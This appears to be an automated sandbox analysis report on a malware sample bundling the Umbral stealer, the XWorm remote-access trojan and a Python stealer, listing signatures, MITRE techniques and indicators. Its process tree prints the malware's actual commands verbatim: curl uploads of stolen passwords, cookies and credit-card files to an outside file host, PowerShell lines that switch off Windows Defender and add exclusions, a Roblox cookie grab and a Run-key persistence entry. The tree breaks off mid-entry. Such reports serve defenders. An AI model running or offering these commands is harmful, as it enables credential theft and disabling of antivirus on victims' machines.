umbral | ce2f66d5928928f4cd6f0b2b7fcb3afdda5356c19816966b3716f78fbaf79ac0

Analysis

max time kernel
150s
max time network
151s
platform
windows11-21h2_x64
resource
win11-20240730-en
resource tags

arch:x64arch:x86image:win11-20240730-enlocale:en-usos:windows11-21h2-x64system
submitted
01-08-2024 08:43

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

DCRat.exe
Size

16.6MB
MD5

a33e3d785f286e859036e3b77365bc2b
SHA1

15f4167e2dfb1f828ae9f2a0e8d375efa98f14ac
SHA256

ce2f66d5928928f4cd6f0b2b7fcb3afdda5356c19816966b3716f78fbaf79ac0
SHA512

e37835a556b3d7be17891d1dd96b8757b389b6fdd50c31bf83d28ee9495a9ef8a4c45c5e4e69bc3fc7b516139e309ab927b458c8a04f2b866b70d9ac37617bdf
SSDEEP

393216:sEkZQVBl86ODlHTE9Nj+CEDJKRW3I1KpnP2elMOdNP:shQVj86OpgeCEDJKRWPpBx

Score

10^/10

umbral xworm credential_access discovery execution persistence pyinstaller rat spyware stealer trojan

Malware Config

Extracted

Family

xworm

127.0.0.1:43101

Attributes

Install_directory
%Public%
install_file
BSOD.exe

Signatures

Detect Umbral payload 3 IoCs

resource	yara_rule
behavioral1/files/0x000100000002aa7f-27.dat	family_umbral
behavioral1/memory/2400-84-0x000002793DD60000-0x000002793DDA0000-memory.dmp	family_umbral
behavioral1/memory/2320-118-0x0000000000400000-0x0000000001496000-memory.dmp	family_umbral

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral1/files/0x000100000002aad1-78.dat	family_xworm
behavioral1/memory/5012-131-0x0000000000370000-0x000000000038A000-memory.dmp	family_xworm

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1832	powershell.exe
3468	powershell.exe
3552	powershell.exe
2368	powershell.exe
4996	powershell.exe
2180	powershell.exe
4432	powershell.exe
1628	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Umbral.exe

Drops startup file 3 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	creal.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BSOD.lnk	XWorm.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BSOD.lnk	XWorm.exe

Executes dropped EXE 8 IoCs

pid	Process
3760	DCRatFILE.exe
2132	creal.exe
2400	Umbral.exe
5012	XWorm.exe
3524	XWorm.exe
1000	creal.exe
4244	BSOD.exe
1044	BSOD.exe

Loads dropped DLL 43 IoCs

pid	Process
1000	creal.exe
1000	creal.exe
1000	creal.exe
1000	creal.exe
1000	creal.exe
1000	creal.exe
1000	creal.exe
1000	creal.exe
1000	creal.exe
1000	creal.exe
1000	creal.exe
1000	creal.exe
1000	creal.exe
1000	creal.exe
1000	creal.exe
1000	creal.exe
1000	creal.exe
1000	creal.exe
1000	creal.exe
1000	creal.exe
1000	creal.exe
1000	creal.exe
1000	creal.exe
1000	creal.exe
1000	creal.exe
1000	creal.exe
1000	creal.exe
1000	creal.exe
1000	creal.exe
1000	creal.exe
1000	creal.exe
1000	creal.exe
1000	creal.exe
1000	creal.exe
1000	creal.exe
1000	creal.exe
1000	creal.exe
1000	creal.exe
1000	creal.exe
1000	creal.exe
1000	creal.exe
1000	creal.exe
1000	creal.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3803380633-1574714764-2315899217-1000\Software\Microsoft\Windows\CurrentVersion\Run\BSOD = "C:\\Users\\Public\\BSOD.exe"	XWorm.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 26 IoCs

Web Service

T1102

flow	ioc
61	discord.com
36	discord.com
50	discord.com
54	discord.com
52	discord.com
60	discord.com
33	discord.com
48	discord.com
51	discord.com
49	discord.com
59	discord.com
13	discord.com
22	discord.com
44	discord.com
43	discord.com
45	discord.com
46	discord.com
35	discord.com
38	discord.com
42	discord.com
31	discord.com
57	discord.com
58	discord.com
62	discord.com
47	discord.com
55	discord.com

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
17	api.ipify.org
4	ip-api.com
13	api.ipify.org

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

pid	Process
1660	tasklist.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\XWorm.exe	DCRat.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Detects Pyinstaller 1 IoCs

pyinstaller

resource	yara_rule
behavioral1/files/0x000100000002aa4f-14.dat	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DCRat.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DCRatFILE.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Taskmgr.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1420	cmd.exe
4776	PING.EXE

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	Taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	Taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	Taskmgr.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3120	wmic.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3803380633-1574714764-2315899217-1000_Classes\Local Settings\MuiCache	MiniSearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-3803380633-1574714764-2315899217-1000_Classes\Local Settings	Taskmgr.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
2032	NOTEPAD.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4776	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1576	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2400	Umbral.exe
1832	powershell.exe
1832	powershell.exe
4432	powershell.exe
4432	powershell.exe
1628	powershell.exe
1628	powershell.exe
3468	powershell.exe
3468	powershell.exe
4536	powershell.exe
4536	powershell.exe
3552	powershell.exe
3552	powershell.exe
2368	powershell.exe
2368	powershell.exe
4996	powershell.exe
4996	powershell.exe
2180	powershell.exe
2180	powershell.exe
5012	XWorm.exe
5012	XWorm.exe
5012	XWorm.exe
5012	XWorm.exe
5012	XWorm.exe
5012	XWorm.exe
5012	XWorm.exe
5012	XWorm.exe
5012	XWorm.exe
5012	XWorm.exe
5012	XWorm.exe
5012	XWorm.exe
5012	XWorm.exe
5012	XWorm.exe
5012	XWorm.exe
5012	XWorm.exe
5012	XWorm.exe
5012	XWorm.exe
5012	XWorm.exe
5012	XWorm.exe
5012	XWorm.exe
5012	XWorm.exe
5012	XWorm.exe
5012	XWorm.exe
5012	XWorm.exe
5012	XWorm.exe
5012	XWorm.exe
5012	XWorm.exe
5012	XWorm.exe
5012	XWorm.exe
5012	XWorm.exe
5012	XWorm.exe
5012	XWorm.exe
5012	XWorm.exe
5012	XWorm.exe
5012	XWorm.exe
5012	XWorm.exe
5012	XWorm.exe
5012	XWorm.exe
5012	XWorm.exe
5012	XWorm.exe
5012	XWorm.exe
5012	XWorm.exe
5012	XWorm.exe
5012	XWorm.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5012	XWorm.exe
Token: SeDebugPrivilege	3524	XWorm.exe
Token: SeDebugPrivilege	2400	Umbral.exe
Token: SeIncreaseQuotaPrivilege	1692	wmic.exe
Token: SeSecurityPrivilege	1692	wmic.exe
Token: SeTakeOwnershipPrivilege	1692	wmic.exe
Token: SeLoadDriverPrivilege	1692	wmic.exe
Token: SeSystemProfilePrivilege	1692	wmic.exe
Token: SeSystemtimePrivilege	1692	wmic.exe
Token: SeProfSingleProcessPrivilege	1692	wmic.exe
Token: SeIncBasePriorityPrivilege	1692	wmic.exe
Token: SeCreatePagefilePrivilege	1692	wmic.exe
Token: SeBackupPrivilege	1692	wmic.exe
Token: SeRestorePrivilege	1692	wmic.exe
Token: SeShutdownPrivilege	1692	wmic.exe
Token: SeDebugPrivilege	1692	wmic.exe
Token: SeSystemEnvironmentPrivilege	1692	wmic.exe
Token: SeRemoteShutdownPrivilege	1692	wmic.exe
Token: SeUndockPrivilege	1692	wmic.exe
Token: SeManageVolumePrivilege	1692	wmic.exe
Token: 33	1692	wmic.exe
Token: 34	1692	wmic.exe
Token: 35	1692	wmic.exe
Token: 36	1692	wmic.exe
Token: SeIncreaseQuotaPrivilege	1692	wmic.exe
Token: SeSecurityPrivilege	1692	wmic.exe
Token: SeTakeOwnershipPrivilege	1692	wmic.exe
Token: SeLoadDriverPrivilege	1692	wmic.exe
Token: SeSystemProfilePrivilege	1692	wmic.exe
Token: SeSystemtimePrivilege	1692	wmic.exe
Token: SeProfSingleProcessPrivilege	1692	wmic.exe
Token: SeIncBasePriorityPrivilege	1692	wmic.exe
Token: SeCreatePagefilePrivilege	1692	wmic.exe
Token: SeBackupPrivilege	1692	wmic.exe
Token: SeRestorePrivilege	1692	wmic.exe
Token: SeShutdownPrivilege	1692	wmic.exe
Token: SeDebugPrivilege	1692	wmic.exe
Token: SeSystemEnvironmentPrivilege	1692	wmic.exe
Token: SeRemoteShutdownPrivilege	1692	wmic.exe
Token: SeUndockPrivilege	1692	wmic.exe
Token: SeManageVolumePrivilege	1692	wmic.exe
Token: 33	1692	wmic.exe
Token: 34	1692	wmic.exe
Token: 35	1692	wmic.exe
Token: 36	1692	wmic.exe
Token: SeDebugPrivilege	1660	tasklist.exe
Token: SeDebugPrivilege	1832	powershell.exe
Token: SeDebugPrivilege	4432	powershell.exe
Token: SeDebugPrivilege	1628	powershell.exe
Token: SeDebugPrivilege	3468	powershell.exe
Token: SeDebugPrivilege	4536	powershell.exe
Token: SeDebugPrivilege	3552	powershell.exe
Token: SeDebugPrivilege	2368	powershell.exe
Token: SeIncreaseQuotaPrivilege	2704	wmic.exe
Token: SeSecurityPrivilege	2704	wmic.exe
Token: SeTakeOwnershipPrivilege	2704	wmic.exe
Token: SeLoadDriverPrivilege	2704	wmic.exe
Token: SeSystemProfilePrivilege	2704	wmic.exe
Token: SeSystemtimePrivilege	2704	wmic.exe
Token: SeProfSingleProcessPrivilege	2704	wmic.exe
Token: SeIncBasePriorityPrivilege	2704	wmic.exe
Token: SeCreatePagefilePrivilege	2704	wmic.exe
Token: SeBackupPrivilege	2704	wmic.exe
Token: SeRestorePrivilege	2704	wmic.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe
2312	Taskmgr.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
5012	XWorm.exe
2080	MiniSearchHost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2320 wrote to memory of 3760	2320	DCRat.exe	97
PID 2320 wrote to memory of 3760	2320	DCRat.exe	97
PID 2320 wrote to memory of 3760	2320	DCRat.exe	97
PID 3760 wrote to memory of 388	3760	DCRatFILE.exe	79
PID 3760 wrote to memory of 388	3760	DCRatFILE.exe	79
PID 2320 wrote to memory of 2132	2320	DCRat.exe	80
PID 2320 wrote to memory of 2132	2320	DCRat.exe	80
PID 2320 wrote to memory of 2400	2320	DCRat.exe	81
PID 2320 wrote to memory of 2400	2320	DCRat.exe	81
PID 2320 wrote to memory of 5012	2320	DCRat.exe	82
PID 2320 wrote to memory of 5012	2320	DCRat.exe	82
PID 2320 wrote to memory of 3524	2320	DCRat.exe	83
PID 2320 wrote to memory of 3524	2320	DCRat.exe	83
PID 2400 wrote to memory of 1692	2400	Umbral.exe	85
PID 2400 wrote to memory of 1692	2400	Umbral.exe	85
PID 2132 wrote to memory of 1000	2132	creal.exe	87
PID 2132 wrote to memory of 1000	2132	creal.exe	87
PID 1000 wrote to memory of 1076	1000	creal.exe	89
PID 1000 wrote to memory of 1076	1000	creal.exe	89
PID 1076 wrote to memory of 1660	1076	cmd.exe	91
PID 1076 wrote to memory of 1660	1076	cmd.exe	91
PID 2400 wrote to memory of 3908	2400	Umbral.exe	92
PID 2400 wrote to memory of 3908	2400	Umbral.exe	92
PID 2400 wrote to memory of 1832	2400	Umbral.exe	94
PID 2400 wrote to memory of 1832	2400	Umbral.exe	94
PID 2400 wrote to memory of 4432	2400	Umbral.exe	96
PID 2400 wrote to memory of 4432	2400	Umbral.exe	96
PID 2400 wrote to memory of 1628	2400	Umbral.exe	98
PID 2400 wrote to memory of 1628	2400	Umbral.exe	98
PID 5012 wrote to memory of 3468	5012	XWorm.exe	100
PID 5012 wrote to memory of 3468	5012	XWorm.exe	100
PID 2400 wrote to memory of 4536	2400	Umbral.exe	102
PID 2400 wrote to memory of 4536	2400	Umbral.exe	102
PID 5012 wrote to memory of 3552	5012	XWorm.exe	104
PID 5012 wrote to memory of 3552	5012	XWorm.exe	104
PID 5012 wrote to memory of 2368	5012	XWorm.exe	106
PID 5012 wrote to memory of 2368	5012	XWorm.exe	106
PID 2400 wrote to memory of 2704	2400	Umbral.exe	108
PID 2400 wrote to memory of 2704	2400	Umbral.exe	108
PID 5012 wrote to memory of 4996	5012	XWorm.exe	110
PID 5012 wrote to memory of 4996	5012	XWorm.exe	110
PID 2400 wrote to memory of 896	2400	Umbral.exe	112
PID 2400 wrote to memory of 896	2400	Umbral.exe	112
PID 2400 wrote to memory of 3704	2400	Umbral.exe	114
PID 2400 wrote to memory of 3704	2400	Umbral.exe	114
PID 2400 wrote to memory of 2180	2400	Umbral.exe	116
PID 2400 wrote to memory of 2180	2400	Umbral.exe	116
PID 2400 wrote to memory of 3120	2400	Umbral.exe	118
PID 2400 wrote to memory of 3120	2400	Umbral.exe	118
PID 5012 wrote to memory of 1576	5012	XWorm.exe	120
PID 5012 wrote to memory of 1576	5012	XWorm.exe	120
PID 2400 wrote to memory of 1420	2400	Umbral.exe	122
PID 2400 wrote to memory of 1420	2400	Umbral.exe	122
PID 1420 wrote to memory of 4776	1420	cmd.exe	124
PID 1420 wrote to memory of 4776	1420	cmd.exe	124
PID 1000 wrote to memory of 1952	1000	creal.exe	127
PID 1000 wrote to memory of 1952	1000	creal.exe	127
PID 1952 wrote to memory of 436	1952	cmd.exe	129
PID 1952 wrote to memory of 436	1952	cmd.exe	129
PID 1000 wrote to memory of 1404	1000	creal.exe	130
PID 1000 wrote to memory of 1404	1000	creal.exe	130
PID 1404 wrote to memory of 4696	1404	cmd.exe	132
PID 1404 wrote to memory of 4696	1404	cmd.exe	132
PID 1000 wrote to memory of 3556	1000	creal.exe	133

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
3908	attrib.exe

C:\Users\Admin\AppData\Local\Temp\DCRat.exe
"C:\Users\Admin\AppData\Local\Temp\DCRat.exe"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2320
- C:\Users\Admin\AppData\Local\Temp\DCRatFILE.exe
  "C:\Users\Admin\AppData\Local\Temp\DCRatFILE.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3760
- - C:\Program Files\Java\jre-1.8\bin\javaw.exe
    "C:\Program Files\Java\jre-1.8\bin\javaw.exe" -Dprism.dirtyopts=false -Dfile.encoding=UTF-8 -classpath " org.develnext.jphp.ext.javafx.FXLauncher
    3⤵
    PID:388
- C:\Users\Admin\AppData\Local\Temp\creal.exe
  "C:\Users\Admin\AppData\Local\Temp\creal.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2132
- - C:\Users\Admin\AppData\Local\Temp\creal.exe
    "C:\Users\Admin\AppData\Local\Temp\creal.exe"
    3⤵
    - Drops startup file
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:1000
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tasklist"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1076
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:1660
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1952
    - - C:\Windows\system32\curl.exe
        
        curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile
        5⤵
        
        PID:436
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1404
    - - C:\Windows\system32\curl.exe
        
        curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile
        5⤵
        
        PID:4696
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile"
      4⤵
      PID:3556
    - - C:\Windows\system32\curl.exe
        
        curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile
        5⤵
        
        PID:3168
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile"
      4⤵
      PID:1160
    - - C:\Windows\system32\curl.exe
        
        curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile
        5⤵
        
        PID:4432
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile"
      4⤵
      PID:4772
    - - C:\Windows\system32\curl.exe
        
        curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile
        5⤵
        
        PID:4760
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile"
      4⤵
      PID:4840
    - - C:\Windows\system32\curl.exe
        
        curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile
        5⤵
        
        PID:568
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Desktop/BackupUpdate.cmd" https://store4.gofile.io/uploadFile"
      4⤵
      PID:2504
    - - C:\Windows\system32\curl.exe
        
        curl -F "file=@C:\Users\Admin/Desktop/BackupUpdate.cmd" https://store4.gofile.io/uploadFile
        5⤵
        
        PID:1424
- C:\Users\Admin\AppData\Local\Temp\Umbral.exe
  "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2400
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1692
- - C:\Windows\SYSTEM32\attrib.exe
    "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
    3⤵
    - Views/modifies file attributes
    PID:3908
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1832
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4432
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3760
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1628
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4536
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" os get Caption
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2704
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" computersystem get totalphysicalmemory
    3⤵
    PID:896
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    PID:3704
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2180
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic" path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:3120
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:1420
  - - C:\Windows\system32\PING.EXE
      ping localhost
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:4776
- C:\Users\Admin\AppData\Local\Temp\XWorm.exe
  "C:\Users\Admin\AppData\Local\Temp\XWorm.exe"
  2⤵
  - Drops startup file
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:5012
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\XWorm.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3468
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XWorm.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3552
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
